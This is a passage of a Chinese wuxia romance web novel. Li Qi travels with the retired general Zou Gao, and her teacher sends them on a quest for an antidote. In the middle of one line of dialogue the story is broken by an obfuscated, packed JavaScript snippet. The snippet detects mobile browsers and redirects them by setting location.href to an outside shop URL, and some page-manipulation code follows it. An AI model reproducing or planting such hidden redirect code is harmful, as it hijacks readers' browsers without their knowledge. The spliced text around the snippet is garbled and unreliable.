“师父费心费力将我养大,教给我这么多本事,真的就只是把我当棋子吗?” 李棋有些绝望,但理智还在,并没有直接吼出来,恰恰相反,她前所未有的沉稳。 纵使她很早之前就猜到了一些事情,但是此刻,鲜少哭泣的她的眼泪还是忍不住往外掉。 纪敏没有再说话,像是对软弱流泪的她很失望,抽回手转身便要从大门离开。 “娘亲!”李棋胡乱擦掉眼泪,上前抓住她的手。 李棋讨厌漂泊不定无法控制的生活,尽管她隐隐猜到一些,却也还是不想参与到这些因为权力和复仇引起的斗争之中,更不想成为牺牲品。 而特意跑来提醒她的纪敏,显然是她唯一的希望。 可纪敏显然也帮不到她,或者说没打算帮她。 “小七儿,你二十岁的生辰礼,我已经在准备了,你肯定会喜欢,明年二月,我会像往年一样,亲自给你送到玄林。” “我走了,你努力活下来吧。”说罢,纪敏不再停留,推门离去。 李棋的生辰在二月初十,两个月前,她才刚过了十九岁的生辰。 站在门边目送纪敏离去,许久,李棋擦掉眼泪,脚步坚定走到床边。 她取出床底下的包袱,失魂落魄看着里面的九龙神鞭和师父准备的几十个小金饼,久久没有回过神来。 * 两刻钟后,换上一身黑褐色劲装的李棋提着她的包袱走出客栈,她一边往停放马车的巷子走,脑袋里一边回想纪敏和她说的那些话。 “怎么这么久?你这腰包不错。” 她才走到马车旁,听到邹杲的询问与夸赞,还没来得及回答,就见一高大的男人骑着一匹白色骏马朝他们飞奔而来。 来人李棋还有印象,是三皇子邹瑅。 三皇子邹瑅急匆匆的模样生生将她的思绪拉了回来。 “吁!” 那人那马果然是奔他们来的,或者说,他是奔着邹杲来的。 看到邹瑅,原本还心情不错的邹杲直接变脸,同时放下了掀开的帘子。 邹瑅将马停在千赤面前,一边下马快步走来,一边冲马车里的邹杲喊道:“阿杲!你真的要离开鄂阳,放下我们辛苦打下的江山,去寻找那个不知生死、毫无讯息的女子吗?” 邹瑅的声音满是愤懑,甚至还有些委屈。 他喊着,还想上前掀开帘子,但是手还没碰到帘子,便差点被从里面飞出来的一块陶瓷杯碎片击中。 那碎瓷片被邹杲控制得很好,只是刚刚好打中他的手,并没有弄伤他。 邹瑅难以置信,脸上都是伤心欲绝的痛苦与怀疑。 李棋默默打量着来人,心中唏嘘:真是人不可貌相。 邹瑅看着和邹杲差不多高,但是比现在的邹杲健硕了不是一点半点。 虽然早就知道两人关系不一般,但真没想到他一个大男人在大庭广众之下会对着邹杲这个大男人说这些酸溜溜的话,肉麻得很,她作为旁观者都起了一身鸡皮疙瘩。 而且,邹杲淡然得真的很像负心汉,他连帘子都不曾掀开就算了,甚至直接出手阻止。 已经有人注意到这边的情况,并伸长脖子关注了。 邹杲的声音也不是之前的温柔或可怜,此时此刻冰冷无情得不行。 “臣答应她的,总得履行。另外,江山是陛下打下的,殿下说话前请三思,别被有心之人听了去,平白为臣招惹祸端。” 邹瑅无视后一句,继续逼问:“你找到她又如何?若那名女子还在,早就该闻讯找上门来了。都两个月了,也没有人拿着信物找上门来,说不定她早就嫁人了,你又何必为了一个女人放弃大好的前途?” “那也得确认她过得好,当年,她于臣有恩,无论如何,臣得都得报恩,得确保她过得安稳。” 邹杲的声音很是疏远,“臣以为昨日和殿下说得已经够清楚了。” “这里人来人往,难免不会有人添油加醋传到陛下耳中,殿下若还记着旧情,就请先放臣离开吧。” 邹瑅由愤懑变得失魂落魄,他似乎是认命了。 顿了顿,他不舍问:“那你还会回来吗?何时回来?” 李棋感觉邹瑅快哭了,他虽然人高马大,但却是眉清目秀,比起当朝皇帝的威武霸气,他身上尽是纯良与柔和。 如今他眼含泪水,委屈巴巴的,李棋险些控制不住上前将他揽到怀中安慰的冲动。 邹杲再次决绝道:“臣回与不回,什么时候回,都不是殿下该在意的。如今,臣只是一个闲散王爷,不似殿下,还担有辅助陛下治理国家的重任。殿下肩上的责任重大,实属不应在臣身上浪费时间。” “阿杲,我好怀恋一起行军打仗的日子,那时候的你,不会对我这么疏远的。我们一起杀敌,一起训练,一起畅饮,一起入眠……” 李棋大吃一惊,心中哀叹不已。 “无怍!” 邹杲的情绪终于有了起伏,他声音高了几分,也越发严厉。 “皇上给你取字无怍,是希望你仰不愧于天,俯不怍于人。而你如今,都做了些什么?” “阿杲……”邹瑅是真的快哭了,委屈得不行。 李棋唏嘘看着,既觉邹瑅可怜,又觉娘亲说得果然不错,这个邹杲真的很绝情。 相比之下,邹瑅就可爱许多。 不过,李棋没有贸然上前送安抚。 许是意识到自己的语气太严厉,超过了君臣的界限,邹杲的语气又缓了一些。 “作为陛下为数不多的血脉,殿下您着实不该对臣如此关注。还请殿下三思而后行,不要辜负陛下与百姓的厚望。臣也同样在期待,期待殿下早日长大,承担起殿下应承担的责任。” 邹杲这一招以退为进的晓之以理动之以情起了作用。 “我知道了,阿杲。”邹瑅吸了吸鼻子,牵着马走到一边让开,声音中多了几分坚定,“我会承担起属于我的责任,不愧于天,无怍于人。” “臣始终期待着。” “我们走吧,李兄弟!” 又一次被邹杲叫李兄第,李棋一愣,一口老血差点涌上来。 这时候,邹瑅的视线也转而盯向她,似乎有话要对她说。 本着多一事不如少一事的想法,李棋连忙躲开他的目光,抱着包袱从另一边跃上马车。 她才坐下,还没扯动缰绳,千赤自己便动了。 千赤走得飞快,眨眼便走出去好远。 恍惚间,李棋好像听到了师兄子瞮的声音,但是不等她回头细看,千赤已经加快速度,走出去很远了。 4. 无尽卷·第四章 4 马车走到集市人多拥挤的路段后,便慢了下来。 看着往来的行人,想起娘亲的提醒,李棋心中烦闷。 往来的路人很吵,马车里的邹杲却一言不发。 李棋需要别的事来转移她的注意力,来让她暂时忽略那些令她无法接受的事实。 见前方的行人都自觉退到两边为千赤让出道路,李棋后退一些,掀开了帘子。 马车里光线很暗,邹杲坐在最里面的阴影中,他垂首注视着手中缺了一小块的酒杯。 酒杯里还有大半杯酒,轻微的抖动,就能让里面的酒水从平整的豁口处洒出来。 但是他却拿得很稳,酒水平稳沉寂,仿佛一潭死水,没有丁点波动。 李棋不由得震惊,邹杲这个战神还真不是浪得虚名,他的内力不可小觑。 不过,李棋可不怕他,邹杲厉害,她也不是吃素的。 想了想,李棋试探性喊了声,“王爷?” 邹杲抬起头,对上她的目光,阴沉的脸上瞬间温和了不少,他柔声应道:“嗯?” 四目相对,不知道是不是李棋自作多情,她感觉邹杲看她的眼神很不普通。 但是话题是李棋主动挑起的,她也不好冷场。 躲开直白炙热的注视,李棋一边摆弄门帘,一边随口说:“我之前听天下第一阁的店小二说你十三岁就进入了军营,还凭一己之力,神不知鬼不觉跟了皇帝的军队九天,真的假的啊?” “半真半假。”邹杲道,“我跟着军队行进的当天,陛下就发现我了。” “那他怎么没有派人来驱赶你,或是把你抓起来拷问?” 不等他回答,李棋回头看着他,试探又问:“王爷,你真的出身普通贫苦人家吗?该不会你身世不一般,而他也是早就知道你的存在,并且有意收你进军营吧?” 邹杲意味不明看着她,看得李棋不自在,他才淡淡笑着摇头否定。 而后又娓娓说道,“是因为阿、三皇子邹瑅。我只比他年长几个月,陛下估计也有意为三皇子培养侍从,而我正好出现,还经过了他的考验。” 他又说:“其实,到第五天我就已经坚持不住了,是皇上下令让队伍慢下来,我才憋着一口劲继续追,但也没能坚持太久,第九天的时候,我就因为体力不支晕了过去。” “醒来之后,皇上没有先给我吃饭,而是先对我进行了拷问,确定我不是他国细作,又设置考核,我通过考核后,才破例让我以三皇子侍从的身份留在军营中。” 李棋表面似懂非懂点头,心里却在感慨:关系真复杂,邹杲也是真有本事!皇帝本来想让邹杲给自己儿子做小厮,邹杲却直接把人儿子拿捏住了。 邹杲带着淡淡的笑容看着她,顿了顿,又道:“考核的内容对当时的我来说很难,皇上要我在一月之内打赢三皇子。后面,是三皇子故意让着我,又替我跟皇上求情,我这才留了下来。” 李棋点头,心中纳闷:那不该是你对邹瑅感恩戴德,离不开邹瑅吗?怎么反倒变成了邹瑅舍不得你离开,并且苦苦挽留你留下呢? 这些话,李棋不好直接问出口。 难得邹杲这会儿好说话,不问白不问。 “那您真的是为了一个女子进入军营的吗?” “这你也知道。”邹杲无奈一笑,起身坐到入口处,这才问道,“你认为呢?你说我是,还是不是?” 突然放大的俊美面孔、带着酒香味的暧昧气息,李棋的心难以自控的跳得快了些。 邹杲似乎不觉得不妥,他深邃的眼眸温柔地看着李棋。 李棋在心里直骂他狐狸精,掐了下自己的手心,才恢复理智没陷入其中。 “这我哪儿猜得到,王爷愿意同我说,便直说,要是不愿意,那我也就不问了。”李棋话音一顿,加重语气道,“毕竟,你我只是萍水相逢的临时兄弟。” 邹杲被噎得一愣,随即好笑道:“李兄弟实在有趣,若是可以,我倒是很想与李兄弟成为亲密无间的生死之交。” 李棋表面呵呵傻笑,心里骂骂咧咧。 滚远点,又瞎又聋,要真和你成为挚友,指不定要为你冒多少险、受多少伤。 不划算,实在不划算。 见她笑,邹杲也笑,柔和看着她将往事缓缓道来: “认识她那年,我十岁,突然爆发的山洪带走了我的祖父,我娘勉强带着我等到官兵的救援,却伤了根本,留下隐疾。朝廷只管从山洪中救人,不管后续的治病。我听闻皇家的猎场里遍地是宝贝,便潜水溜了进去,我就是在那里遇到了她。” 邹杲似乎是陷入了美好的回应,语气轻柔得不行。 李棋识趣的没有插嘴打断他。 但也不由得感慨,邹杲胆子大是真的大,运气也不错,十岁就敢溜进皇家猎场,最后还满载而归,就算本事再高,没点运气还真不行。 “她漂亮可爱,大方坚强。那天下午,我们一起玩得很开心,分别时,她把她的首饰都给了我,但是拿走了我爹为我和我将来的妻子准备的信物。她和我约定,说等我功成名就,等我上门迎娶。” “三年后,我娘去世,我一个人了无牵挂,想起和她的约定,便去了军营。” 听他说完,李棋才问:“也就是说,你昨晚上交虎符、放弃你在军营中挣得的一切,也只是为了和她的那个约定咯?” 邹杲看着她笑笑,没有说话。 李棋当然不信他完全没有野心。 他怀有很大的野心这一点,从他在她面前对皇帝的称呼就不难看出。 心里虽然这么想,但李棋面上还是装出一副难以置信的震惊模样又问:“你真的舍得啊?你这些年用命挣得的权力,几乎是一人之下万人之上的权力,你真的舍得为了一个不确定的女子放弃?” 邹杲依旧很淡然。 “我很怀恋一人之下万人之上的征战生涯,但是却不愿意拘于朝堂、虚与委蛇。” 他笑容苦涩,“如今天下安定,功高盖主并不是件值得骄傲的事。皇上势必忌惮我,放出消息说要把静姝公主嫁给我,更多的是在试探我。” 李棋快被他这一番情真意切的话说服了。 但是想到他和他那心心念念的女子的传闻早在嬴国的军队还没有班师回朝时就传遍了各地,也知道这些事一定没有邹杲此刻告诉她的这么简单。 李棋一时沉默,不知道说什么好。 邹杲却很释然,他笑着感叹道:“天下之阔,江湖之广,借此机会亲自去看看也是好的。” “啧啧啧!”李棋不由得啧啧称奇,见邹杲不解看向她,她笑着又奉承道,“不愧是战神,还真是豁达!” 同时,李棋心里不免惋惜:要是邹杲真像他说的这么豁达就好了,这样,她就能和邹杲结盟了。 说实话,抛开脸不谈,她还真挺欣赏邹杲的能力的。 对于她的奉承,邹杲轻笑,“只是惜命罢了。” 李棋也不再纠结这个伤脑筋的话题。 她换了个话题,她笑问:“王爷你想去看哪儿的江湖啊?说不定我们可以结伴同行。” “哪儿都可以,到处看看吧!”邹杲懒洋洋道。 “那你真的要去找那个小女孩吗?这辈子非她不可?” 问完,李棋看着邹杲,虽然提醒自己不要在意,但心还是不免提到了嗓子眼。 邹杲笑着看着她,就在李棋快沉不住气时,邹杲苦笑说,“不知道。” 李棋不免有些失落,还有些无语。 确定是不知道,不是没遇到更好的? 万恶的邹杲,该不会深情模样全是装的吧? 要是邹杲对连儿时的恩人都没有情义、只有算计,那她是真的得趁早跑路了。 这时,就听邹杲又道:“我唯一能确定的事,便是我不会让自己做不情愿的事,报恩的方式有千万种,若是无缘,我不会搭上我的一切报恩。” 邹杲看着她,淡笑又道:“我虽然杀了很多人,但也不真的就是冷漠嗜血的罗刹。和冷漠无情的罗刹恰恰相反,我这个人甚至有些多愁善感,非常相信所谓缘分。” 李棋被这笑容晃得心神不定。 好好说话就说话,干嘛突然对她这样笑啊?真不是故意在勾引她吗? 她也才十八九的年华,看话本子时,也想过和一人仗剑走江湖,惩奸除恶、劫富济贫,成为人人艳羡称赞的恩爱侠侣。 而邹杲,是她有生以来遇到最合她眼缘的,也是她此刻最感兴趣的。 再这么下去,她真的要被邹杲仅凭一张脸就勾得心甘情愿被他牵着鼻子走了。 不等她自己冷静,一盆冷水先将她从头浇到尾。 “李兄弟为何对我的事这么好奇,是觉得我这个人不错,还是家中有待嫁的姐妹,想与我结亲?” 李棋想骂人,叫她李兄弟就算了,居然还打听她有没有待嫁的姐妹。 深情重义什么的,果然是装的。 不料,邹杲严肃摇头又道:“就算是李兄弟的胞妹,没有缘分,我也是不会妥协的。” 李棋心里骂骂咧咧,脸上的笑容也消失不见。 盯着邹杲,沉默良久,邹杲从不解到无辜,这模样,让人恨得牙痒痒。 李棋幽幽问:“你确定要叫我兄弟?” “不然叫什么?”邹杲无辜问,“李大哥吗?可李兄弟你看着比我年弱很多啊。” 李棋:…… 邹杲想了想,试探问:“李兄弟是觉得这个称呼太过粗鲁?” 他自顾自笑着又道:“我以为李兄弟不喜欢繁文缛节,若是李兄弟喜欢,我也可以称呼李兄弟为贤弟。” 李棋彻底不想说话了。 偏偏,邹杲还不知趣问道:“贤弟是也不喜欢贤弟这个称呼吗?” …… 李棋没好气扯下帘子,真的是被他气得不轻。 她晃动缰绳,高喝一声‘驾!’掩盖邹杲的声音的同时,让千赤速度更快一些。 邹杲掀开帘子,笑盈盈叮嘱:“贤弟,下手轻些,千赤有灵,非常记仇。” 李棋很气,她甚至都觉得邹杲就是故意的。 指不定帘子放下去的时候,他在马车里笑得打滚呢。 但是转念一想,邹杲长期在外行军打仗,可能真的没接触过几个女人,说不定是真的对身形与声音不太敏感。 不过,这些都不是她原谅邹杲的理由。 李棋转头瞪着邹杲,故意找茬,“凭什么你是兄,我是弟?” 邹杲无奈怔愣,李棋又道:“想和我称兄道弟,可以。我们以本事论高低,等会出了城,找个地方,我们打一架,再决定谁是兄,谁是弟。” “好,有合适的时机,你我好好切磋一二。”邹杲哭笑不得,但也识趣的顺着她的话头哄她。 李棋不买账,“现在就是好时机,为什么还要等?还是说,你的战神名头是假,怕输是真?” 邹杲无奈却也认真分析道:“领兵作战和与人单独对战是两回事,贤弟一看就不是常人,我虽然身经百战,但是单打独斗,还真也未必能打赢你。” 恭维的话,谁都爱听,何况是出自战功累累、地位显赫的不败战神之口。 他这一番话,李棋听得身心愉悦,很受用。 “行吧,那就等时机合适,我们再打。” 李棋压住笑意,凶巴巴说着,余光注意到快到城门口,这才转过头,直视前方。 看着高大耸立的城门,她习惯性扫视,本来只是随意一看,但是突然,她在城门左边一丈高的地方,看到一个明显的‘井’字。 这是她和师父约定的标记,井字中间的方框里还有一个很圆的圆圈,这绝不可能是巧合,这也意味着,她师父毒赋现在也在皇城里。 原本愉悦的心情因为这个符号,瞬间如坠冰窟。 李棋让自己冷静下来,连忙拉动缰绳,让千赤停下。 “怎么了?”邹杲抓着门框问。 “我师父来了。”李棋平静答道,“我们得掉头回去,不出意外,他现在在慧舒药铺等我。” “好。” 邹杲从马车里出来,接过她手里的缰绳,调转方向。 * 慧舒药铺后院,对过暗号,李棋终于被药铺掌柜带入了后院,如愿以偿见到了她的师父——蛮菩萨毒赋。 “师父,我……” 李棋见到师父,还没来得及说话,毒赋就抬手打断她,并说道:“你离开的第二天,我便发现我中计了。事情原由我已大致知晓,此番是为师大意了,你不必赘述。” 这些不是李棋最想和毒赋说的。 但这一下,李棋却是越发疑惑了,她还以为她师父和师兄子瞮联手了呢。 听她师父这话,原来不是联手,而是被算计吗? 可是,师兄真的能算计得了师父吗? 她心里的疑问更多,但她没有问,因为问了她师父也未必会告诉她,而且,邹杲还喝下了全部的‘无忧’呢。 毒赋越过她,看向她身后的邹杲,还算客气道:“想必阁下就是威名赫赫的常胜王吧。” “威名赫赫不敢当,陛下抬爱,这才侥幸得了个常胜王的封号。” 李棋讨厌他们这些虚伪的礼仪,她需要得到更多的消息。 她直接没大没小插嘴,“师父,无忧全部被他喝下去了,发作周期会不会缩短?药效会不会更猛,甚至猛到直接要了他的命啊?” 那几只动物死前的惨相她可是记得一清二楚,想到邹杲这么帅的人会那样死去,她还挺不忍心的。 毒赋还在打量邹杲。 邹杲也在打量着毒赋。 李棋站在邹杲身旁,毫不掩饰观察着毒赋的细微表情变化。 她的师父毒赋年轻时也是个有名的美男子,身量很高,比邹杲矮不了多少。 如今,她的师父不过五十岁来岁。 说来也怪,他的脸上没有多少皱纹,看着比大多人同龄人都年轻,但是他长长的胡子和头发却都是花白的。 浓密的一把头发用一根褐色布条束着,身上穿的也是褐色布衣,看着真像话本子里描述的下凡游历的仙人。 师父刚刚看她时是温和的,但是在抬头看向邹杲的瞬间,收敛了许多。 眼神也变得凌厉,远没有话语间那么尊重邹杲这个王爷。 更明显的是,师父好像并不意外邹杲会吃下‘无忧’。 不过,师父是否真的被算计,这除了他本人,谁又能确定呢? 这让李棋纠结又忧心,她讨厌弯弯绕,真的想直接问,将娘亲和她说的话和盘托出。 但娘亲从来没有害过她,也没有理由害她。 她不知道该如何是好,只能先保持常态,收集更多信息再做打算。 她没有几个亲人,哪一个,她都不愿失去。 许久,见师父一直没说话,李棋偷偷扯了扯邹杲的衣服,示意他别那么高傲,稍微给她师父点面子。 有了台阶下,邹杲才连忙收起自己审视的目光,弯腰拱手行礼,“在下昨晚在宫里误食‘无忧’,皇上念着多年的情分,特意给在下指明方向,让在下来找神医求医问药,还请神医赐药以解在下之毒。” 瞟了眼师父平静的表情,李棋连忙上前一步,小心翼翼扯着师父的粗布衣裳,替邹杲求情。 “对啊,师父,他可可怜了,皇帝非要他娶公主,他心有所属不愿意娶,稀里糊涂就喝下了‘无忧’,离开前,还赔了半个黑金色的铜老虎出去,做工那么漂亮,我看着都心疼!” 李棋知道铜老虎是虎符,但她在师父面前一直是单纯甚至有些痴憨的性子,她这么说,也只是想试一试师父对她的认知。 她这话一出口,两人都是一惊。 和邹杲单纯的诧异不解比起来,师父还多了些难以置信。 不过,这难以置信是对邹杲,而不是对她。 李棋无视邹杲皱起的眉头,故意扯扯他的衣袖,嬉笑又问:“你是不是还有半枚铜老虎啊,做得还挺精致的,嘿嘿,我拿别的好东西跟你换怎么样啊?” 邹杲哭笑不得看着她,似乎不知说什么好。 刚刚,李棋才和他讨论了他上交兵权的事,邹杲自然知道她是在装傻。 不等邹杲说什么,毒赋厉声呵斥:“胡闹。什么铜老虎,那是虎符。” 李棋惊讶道:“虎符?调令军队的那个吗?” 她又眼巴巴看向邹杲,“你能给我做一个吗?我好早就想去军队玩玩了!” 邹杲忍俊不禁。 毒赋却火冒三丈,“这个时候还在胡闹,滚去外面候着!” “哦。” 李棋垂头丧气的,乖乖转身出去了,对上邹杲打量的眼神,李棋悄悄朝他挤眉弄眼打眼色,还没心没肺调皮一笑。 “走快些,把门带上。” “哦。”李棋心不甘情不愿加快脚步,走出去后,还眼巴巴看着毒赋,最终,在毒赋严肃的注视下,才不情不愿乖乖关上了门。 不过,她也没有走开,她做出走远的动静,随即立刻蹑手蹑脚回到门前蹲下,然后扒着门偷听。 听到里面的谈话声,见毒赋没有再驱赶自己,李棋的心里才勉强好受一些。 * 透过门上镂空的雕花目睹完李棋那明晃晃的小动作,毒赋沉默良久。 邹杲则忍俊不禁,同时也在等待毒赋下一步的动作。 毒赋无奈叹气,没有再驱赶李棋,只走到桌边坐下,同时示意邹杲也坐。 邹杲走过去坐下,毒赋又倒了两杯茶,将其中一杯递给他,才道:“我本江湖人士,无意涉足朝堂,谁料遭人算计……” 他叹了口气,“此番,也的确是我的过失,我不会不管,只是,‘无忧’集各种奇毒的精华于一体,我和小七还没有研制出解药,只有大致药方。所需药材也并不平常,就算是王爷你,恐怕也无法轻易集齐。” “事关在下的性命,再难也得试试不是。”邹杲端起茶抿了一口,抿唇淡笑,“还请神医明示。” 毒赋也喝了一口茶,拧眉道:“最难寻的几味药材分别是北边无尽冰原的灵狐泪,西边幽冥沙漠的幽冥蝎,中部辽炀山脉火山口的不死草,南边溟南深海的紫蚌珠,以及海外虚无孤岛鬼族的神木根。” 邹杲放下茶杯,沉默好一会儿,才无奈道:“这些,在下只在传说中听说过,别说在下,就算是皇上也没那么容易找到,短短六个月的时间,集齐这些,怕是比登天还难。” 毒赋面色如常,看不出任何破绽。 “倒也没有王爷说的这么夸张。既然我敢说出口,那我便能确保这五种药材都存在,并且一定能解王爷身上的毒。” 他抿了一口茶,才又道:“我当年都能找到制毒的原料,王爷如今按照我给的路线去找解药,只会更容易。” “是吗?”邹杲重新端起茶杯,“若真是如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680489|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此,那我便立刻派人去找来。” “派人去找恐怕不行。” 无视邹杲冷峻的打量,毒赋放下茶杯,看看邹杲坦然道:“‘无忧’即将发作,每次发作,都会侵损你的五脏六腑,为今之计,只有先服下极寒的灵狐泪压制毒性。而想要单独服用灵狐泪,得先利用冰原深处的寒泉让身体适应低温,如若不然,直接服下灵狐泪必死无疑。” 不顾邹杲的呆滞,他继续又道:“不死草离开火山口也不能活,王爷服下的是全部的‘无忧’,药性之猛,是我无法估测的。” “先以灵狐泪压制毒性,再用不死草压制灵狐泪,以此来护住你的心脉,方能确保您能安然到达鬼族。” 说罢,毒赋端起茶杯,缓缓喝了一口。 邹杲却没心情再喝茶,他皱眉将茶杯放下,面色严峻看着毒赋,“传闻鬼族被放逐后藏身的孤岛虚无缥缈、无人能寻,危险丛生,外人更是有去无回。本王一定得亲自前往鬼族解毒吗?” 毒赋神色如旧,只也放下了茶杯。 他道:“神木根并非入药口服或外敷,而是借助鬼族在神木枝干中培养的各种毒物残留酿造的汁液药浴、以毒攻毒。” 邹杲问:“除此之外,再别无他法?” 毒赋摇头,“有。” 他道:“起死回生蛊蛊如其名,既能起死回生,亦有可能解此毒。” 邹杲失笑,“神医莫要说笑了,据说起死回生蛊三十年方能练得三只。二十年前的三只,一只被神妙手前辈在金曲楼展示使用了,另外两只当场拍卖,不知所踪,神妙手前辈更是销声匿迹许久,在下就是倾尽家财,恐怕也找不到他。” 毒赋没有说话,也没有应和,定定品着茶。 见状,邹杲也端起茶抿了几口,思虑着。 良久,他还是妥协了,“神医既来到这里,必定有万全的计策,神医不妨直言。只要能活命,本王绝无二话。” 毒赋也不多言,放下茶杯,从宽袖里掏出地图,指着地图说,“按我的办法来的话,王爷需要立即北上,在两个月内,吃下灵狐泪,然后一路向西前往幽冥沙漠,找到幽冥蝎,之后立刻折返前往中西部的辽炀山脉,服用不死草,再去溟南深海找到紫蚌珠,最后带着幽冥蝎和紫蚌珠来虚无孤岛找我。” 他喝了掉最后一口茶,又说,“切记,在吃下灵狐泪的两个月内,必须吃下不死草,否则灵狐泪蕴含的□□会从内到外侵损你的身体,让你生不如死,直至油尽灯枯。我会即刻前往虚无孤岛,在鬼族准备好所需药物等你们来。” 邹杲抓住重点,“我们?” “是,你们,我会派小七和你一起去,她在医术方面虽还不及我,但也比皇宫里的太医好很多。‘无忧’的制作,小七全程参与,面对紧急状况,她能处理一二。另外,小七还跟着我的几位老友学了些拳脚,关键时刻,她能护住你的命。” 邹杲挑眉,这倒是出乎他的意料,不过也好。 “既如此,按神医计划行事就是。” 毒赋嗯了一声,十分不客气地冲门外喊道:“李棋,进来!” 他话音没落,李棋便因为重心不稳,摔了进来。 “诶呦!” 李棋摔得有点疼,还被藏在右边大腿上的九龙神鞭的鞭头硌了一下,她连忙爬起来,企图用笑容掩饰尴尬。 “师父,您放心,这回,我一定把您老人家吩咐的事情办妥了!” 李棋这话暴露了她偷听的事,但习武之人耳聪目明,她知道她师父早就知道她在偷听。 显然,师父也不打算追究她偷听之过。 “嗯,你跟着王爷,我会在虚无岛等你们。”毒赋掏出一个小册子,递给李棋,“这是需要注意的相关事宜,以及四味药材的处理方法,把稳起见,你尽快背熟。” “好。”李棋露出乖乖的笑容,笑眯眯接过了小册子。 毒赋又对邹杲道:“幽冥蝎和紫珠蚌的处理要求不算严苛,王爷可派人去取,事关王爷性命,一定要按照我说的方法一一照做。” 邹杲点头,“神医放心,事关本王性命,本王自不敢轻视。” 毒赋点头,摆了摆手,“时间紧迫,你们立即出发。我们虚无岛再见。” “嗯,师父放心吧!”李棋重重点头,看向还坐着不动的邹杲催促说:“事不宜迟,我们走吧!” 她拉着邹杲的袖子就要带他走,却见邹杲纹丝不动。 顺着邹杲的视线看过去,只见他面色凝重盯着她师父袖口露出的一个小木鱼挂坠。 这个挂坠李棋见过,之前一直挂在她师父的屋子里,她想要来玩师父还不肯,也不知道他这次怎么就带出来了。 不等李棋提醒,毒赋已经发现了,他不动声色将挂坠收了回去。 见状,李棋扯了扯邹杲的衣服,提醒他回神。 这次,邹杲却没有听她的。 邹杲朝毒赋拱手行礼问道:“敢问神医那木鱼挂坠从何处而得?” 毒赋缄默不语。 李棋潜意识里感觉有些不对,拉邹杲走也不是,主要是拉不动;劝师父也不是,师父此刻脸色太过冷酷,李棋也不敢劝。 僵持许久,毒赋还是将木鱼拿了出来,“昔日老友的徒弟落在我那里的。她很宝贝这个小木鱼,让我那老友给我写了好几封信,几次三番央求我给她送回去,正巧我这次要去虚无岛,所以就带上了。如何?王爷认识这挂坠?” 毒赋犹豫过后,将木鱼挂坠递给他。 邹杲接过,在左边衣袖里掏了掏,等他的手从衣袖里伸出来,一个木鱼变成了两个,跟变戏法一样。 也不太对,两个木鱼乍一看一模一样,仔细看并不相同,它们是对称的,和阴阳太极图一样,似乎还能完美契合到一起。 李棋惊得张大了嘴。 “这不会就是你爹给你和你未来妻子做的信物吧?” 邹杲点头。 李棋看看邹杲,又看向自家师父,发现毒赋也同样震惊。 李棋目瞪口呆,看向毒赋不确定问:“师父,这是鬼机灵落下的?可是,他不是……” 她话没说完,毒赋打断了她:“是小灵落下的。” 毒赋说着,看了她一眼,又看向邹杲:“王爷可是认得小灵?我倒是听我的老友提起过,小灵好像也的确一直在找什么人,莫非那人是王爷你?” 邹杲终于收回一直放在木鱼上的视线,他看向毒赋,恳求道:“这木鱼可否交给在下保管,届时,在下会亲自将木鱼还给那位姑娘。” 毒赋犹豫了一下,还是点头了。 “多谢神医。”邹杲跟他道谢,对李棋说了声“贤弟,我们走吧”,便率先转身出了门。 李棋傻愣愣看向自家师父,欲言又止,“师父……小灵他……” 毒赋叹了口气,“有一事我一直不曾告诉你,小灵他身体特殊,他幼时,一直是以女儿身示人的。将来,也是要嫁人生子的。” “啊!?” 这一天,李棋接受了太多信息,每一个,都让她惊诧得下巴都收不拢。 毒赋又说:“小七,他们的恩怨,你不要多言,更不要多管,好生跟着他,助他找到解药,偿还了我们的过错,一切就与我们无关了。” 李棋愣怔。 过错? 记忆中,她一直跟着师父在玄林修行,除了师父带到玄林的人,她再没有接触过外人,她有什么过错需要弥补? “师父,我二十岁的生辰,能回到玄林过吗?” 毒赋一愣。 他双手负在身后,许久,才给出肯定的答案,“可以。那时候,一切都该了结了。” 他叹气又道:“玄林也是你的家,从来都是你嫌玄林的生活枯燥……今日为何突然这么问?可是有什么人对你说了什么话……” 李棋一怔,摸摸耳朵,又快步上前抓住毒赋的手,憨笑摇头道:“没有没有,我只是心里莫名有些不安……” 毒赋摸摸她的脑袋,“有为师在,你不会有事。” 李棋嘿嘿一笑,“师父可别骗我哦!” “为师何时骗过你?”毒赋没好气抽出手,又弹了她一个脑瓜崩,“少看点话本,少胡思乱想。” 李棋捂着脑袋,嘿嘿直笑。 见师父没真的生她的气,她更进一步,抱着师父的胳膊摇晃撒娇,“那师父还会给我煮长寿面的吧?” 毒赋没有丝毫犹豫,温柔了许多,又摸了摸她的脑袋,“这是自然。” 李棋开怀大笑,“那就好,我还怕因为他的病情耽误我过生辰呢!” 毒赋看着她,保证道:“不会。” 又道,“就算一切顺利,你们也要好几个月的时间才能到达虚无岛,你不必再做伪装了,怎么舒服怎么来。” 师父还是那么体贴细致,李棋心里暖暖的,乖乖巧巧点头,有点舍不得离去。 毒赋摸摸她的脑袋,又道:“你也可在路途中多留意,寻一个如意郎君,一同带到虚无岛去,趁鬼旸那老家伙还活着,和小灵一起嫁人成婚吧。” 李棋一怔,不确定这是不是敲打,但还是若无其事笑着说:“我倒是不着急嫁人,不过,我一定会让鬼机灵得偿所愿,让他和他心心念念的人长相厮守。” 毒赋点头,催促她道,“去吧,别让小灵未来的夫婿等太久。” 话都说到这里,李棋也不再多留,笑呵呵说了句‘师父万事小心’,浑身轻松,转身一蹦一跳走远。 5. 无尽卷·第五章 5 等李棋走出慧舒药铺,邹杲已经上了马车,门帘紧闭。 站在在千赤面前思虑片刻,李棋才爬上马车,掀开帘子一角。 邹杲坐在最内侧,手里握着两个木鱼吊坠,双目盯着它们看得出神,似乎完全没注意到李棋。 这小模样,李棋破碎的心更碎了。她欲言又止,但最终默默又放下了帘子。 邹杲长得真的非常得天独厚,虽然话多人有点假,但是她图的就是他的脸和身体啊。 哪曾想,她才起了个色心,邹杲就成了她儿时当亲弟弟对待的鬼机灵的心上人。 见色起意对象成了弟妹,这换谁谁能坦然接受啊。 